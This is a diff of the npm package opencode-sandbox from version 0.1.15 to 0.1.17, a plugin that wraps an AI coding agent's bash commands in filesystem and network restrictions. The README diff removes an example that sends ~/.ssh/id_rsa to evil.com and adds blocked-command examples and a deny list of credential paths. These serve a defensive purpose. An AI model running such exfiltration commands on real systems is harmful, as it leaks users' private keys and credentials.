opencode-sandbox 0.1.15 → 0.1.17

package/README.md

@@ -1,3 +1,7 @@
+[![CI](https://github.com/isanchez31/opencode-sandbox-plugin/actions/workflows/ci.yml/badge.svg)](https://github.com/isanchez31/opencode-sandbox-plugin/actions/workflows/ci.yml)
+[![npm version](https://img.shields.io/npm/v/opencode-sandbox)](https://www.npmjs.com/package/opencode-sandbox)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
+
 # opencode-sandbox
 
 An [OpenCode](https://opencode.ai) plugin that sandboxes agent-executed commands using [`@anthropic-ai/sandbox-runtime`](https://github.com/anthropic-experimental/sandbox-runtime).
@@ -12,19 +16,18 @@ Every `bash` tool invocation is wrapped with OS-level filesystem and network res
 
 ## Install
 
-```bash
-# Add to your opencode config
-# opencode.json
+```json
+// opencode.json
 {
   "plugin": ["opencode-sandbox"]
 }
 ```
 
-The plugin is automatically installed from npm when opencode starts.
+The plugin is automatically installed from npm when OpenCode starts.
 
-### Linux prerequisite
+### Linux prerequisites
 
-Ensure `bubblewrap` is installed:
+**1. Install bubblewrap:**
 
 ```bash
 # Debian/Ubuntu
@@ -37,34 +40,76 @@ sudo dnf install bubblewrap
 sudo pacman -S bubblewrap
 ```
 
-## What it does
+**2. Ubuntu 24.04+ (AppArmor fix):**
 
-When the agent runs a bash command like:
+Ubuntu 24.04 and later restrict unprivileged user namespaces via AppArmor, which prevents bubblewrap from working. You need to enable the `bwrap-userns-restrict` AppArmor profile:
 
 ```bash
-curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa)
+# Install the AppArmor profiles package
+sudo apt install apparmor-profiles
+
+# Create the symlink to enable the profile
+sudo ln -s /etc/apparmor.d/bwrap-userns-restrict /etc/apparmor.d/force-complain/bwrap-userns-restrict
+
+# Load the profile
+sudo apparmor_parser -r /etc/apparmor.d/bwrap-userns-restrict
 ```
 
-The sandbox blocks it:
+You can verify bwrap works:
+
+```bash
+bwrap --ro-bind / / --dev /dev --proc /proc -- echo "sandbox works"
+```
+
+Without this fix, bwrap will fail with `loopback: Failed RTM_NEWADDR: Operation not permitted` or `setting up uid map: Permission denied`.
+
+## What it does
+
+When the agent runs a bash command, the sandbox enforces three layers of protection:
+
+### Filesystem write protection
+
+Commands can only write to the project directory and `/tmp`. Writing anywhere else returns "Read-only file system":
 
 ```
-cat: /home/user/.ssh/id_rsa: Operation not permitted
+$ touch ~/some-file
+touch: cannot touch '/home/user/some-file': Read-only file system
+
+$ echo "data" > /etc/config
+/usr/bin/bash: line 1: /etc/config: Read-only file system
+```
+
+### Sensitive file read protection
+
+Access to credential directories is blocked:
+
+```
+$ cat ~/.ssh/id_rsa
+cat: /home/user/.ssh/id_rsa: Permission denied
+```
+
+### Network allowlist
+
+Only approved domains are reachable. All other traffic is blocked via a local proxy:
+
+```
+$ curl https://evil.com
 Connection blocked by network allowlist
+
+$ curl https://registry.npmjs.org
+(works — npmjs.org is in the default allowlist)
 ```
 
 ### Default restrictions
 
 **Filesystem (deny-read)**:
-- `~/.ssh`
-- `~/.gnupg`
-- `~/.aws/credentials`
-- `~/.config/gcloud`
-- `~/.npmrc`
-- `~/.env`
+- `~/.ssh`, `~/.gnupg`
+- `~/.aws/credentials`, `~/.config/gcloud`
+- `~/.npmrc`, `~/.env`
 
 **Filesystem (allow-write)**:
 - Project directory
-- Git worktree
+- Git worktree (validated — unsafe paths like `/` are rejected)
 - `/tmp`
 
 **Network (allow-only)**:
@@ -82,7 +127,8 @@ Everything else is **blocked by default**.
 
 ### Option 1: Config file
 
-```json title=".opencode/sandbox.json"
+```json
+// .opencode/sandbox.json
 {
   "filesystem": {
     "denyRead": ["~/.ssh", "~/.aws/credentials"],
@@ -128,12 +174,14 @@ Or in `.opencode/sandbox.json`:
 The plugin uses two OpenCode hooks:
 
 1. **`tool.execute.before`** — Intercepts bash commands and wraps them with `SandboxManager.wrapWithSandbox()` before execution
-2. **`tool.execute.after`** — Detects sandbox-blocked operations in the output and annotates them for the agent
+2. **`tool.execute.after`** — Restores the original command in the UI (hides the bwrap wrapper)
 
 ```
-Agent → bash tool → [plugin wraps command] → sandboxed execution → [plugin annotates blocks] → Agent
+Agent → bash tool → [plugin wraps command] → sandboxed execution → [plugin restores UI] → Agent
 ```
 
+The AI model interprets sandbox errors (like "Read-only file system" or "Connection blocked") directly from command output — no additional annotation layer needed.
+
 ### Fail-open design
 
 If anything goes wrong (sandbox init fails, wrapping fails, platform unsupported), commands run normally without sandbox. The plugin never breaks your workflow.
@@ -149,9 +197,8 @@ bun install
 # Run tests
 bun test
 
-# Use as local plugin
-# In your project's .opencode/plugins/sandbox.ts:
-export { SandboxPlugin } from "/path/to/opencode-sandbox/src/index"
+# Build
+bun run build
 ```
 
 ## Architecture
@@ -159,10 +206,10 @@ export { SandboxPlugin } from "/path/to/opencode-sandbox/src/index"
 ```
 src/
 ├── index.ts    # Plugin entry — exports SandboxPlugin, hooks into tool.execute.before/after
-└── config.ts   # Config loading (env var, .opencode/sandbox.json) + defaults + resolution
+└── config.ts   # Config loading (env var, .opencode/sandbox.json) + defaults + path validation
 
 test/
-├── config.test.ts   # Unit tests for config resolution
+├── config.test.ts   # Unit tests for config resolution and path safety
 └── plugin.test.ts   # Integration tests for plugin hooks
 ```
 

package/dist/index.js

@@ -2,9 +2,9 @@
 import { SandboxManager } from "@anthropic-ai/sandbox-runtime";
 
 // src/config.ts
-import path from "path";
-import os from "os";
-import fs from "fs/promises";
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
 var DEFAULT_DENY_READ_DIRS = [
   ".ssh",
   ".gnupg",
@@ -69,7 +69,7 @@ function resolveConfig(projectDir, worktree, user) {
   };
 }
 async function loadConfig(projectDir) {
-  const envConfig = process.env["OPENCODE_SANDBOX_CONFIG"];
+  const envConfig = process.env.OPENCODE_SANDBOX_CONFIG;
   if (envConfig) {
     try {
       return JSON.parse(envConfig);
@@ -92,7 +92,7 @@ var SandboxPlugin = async ({ directory, worktree }) => {
     console.warn("[opencode-sandbox] Not supported on Windows — sandbox disabled");
     return {};
   }
-  if (process.env["OPENCODE_DISABLE_SANDBOX"] === "1" || process.env["OPENCODE_DISABLE_SANDBOX"] === "true") {
+  if (process.env.OPENCODE_DISABLE_SANDBOX === "1" || process.env.OPENCODE_DISABLE_SANDBOX === "true") {
     return {};
   }
   const userConfig = await loadConfig(directory);
@@ -125,7 +125,7 @@ var SandboxPlugin = async ({ directory, worktree }) => {
         console.warn("[opencode-sandbox] Failed to wrap command, running unsandboxed:", err instanceof Error ? err.message : err);
       }
     },
-    "tool.execute.after": async (input, output) => {
+    "tool.execute.after": async (input, _output) => {
       if (input.tool !== "bash")
         return;
       if (lastOriginalCommand && input.args && typeof input.args.command === "string") {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "opencode-sandbox",
-  "version": "0.1.15",
+  "version": "0.1.17",
   "description": "OpenCode plugin that sandboxes agent commands using @anthropic-ai/sandbox-runtime (seatbelt on macOS, bubblewrap on Linux)",
   "type": "module",
   "main": "dist/index.js",
@@ -20,6 +20,12 @@
     "build": "bun build ./src/index.ts --outdir dist --target node --format esm --external @anthropic-ai/sandbox-runtime --external @opencode-ai/plugin && bun x tsc --emitDeclarationOnly --declaration --outDir dist",
     "dev": "bun run --watch src/index.ts",
     "test": "bun test",
+    "test:coverage": "bun test --coverage",
+    "lint": "biome lint .",
+    "format": "biome format .",
+    "format:fix": "biome format --write .",
+    "check": "biome check .",
+    "check:fix": "biome check --write .",
     "prepublishOnly": "bun run build"
   },
   "keywords": [
@@ -54,6 +60,7 @@
     "@opencode-ai/plugin": ">=1.0.0"
   },
   "devDependencies": {
+    "@biomejs/biome": "^2.0.0",
     "@opencode-ai/plugin": "^1.2.1",
     "@opencode-ai/sdk": "^1.2.1",
     "@types/bun": "^1.3.9",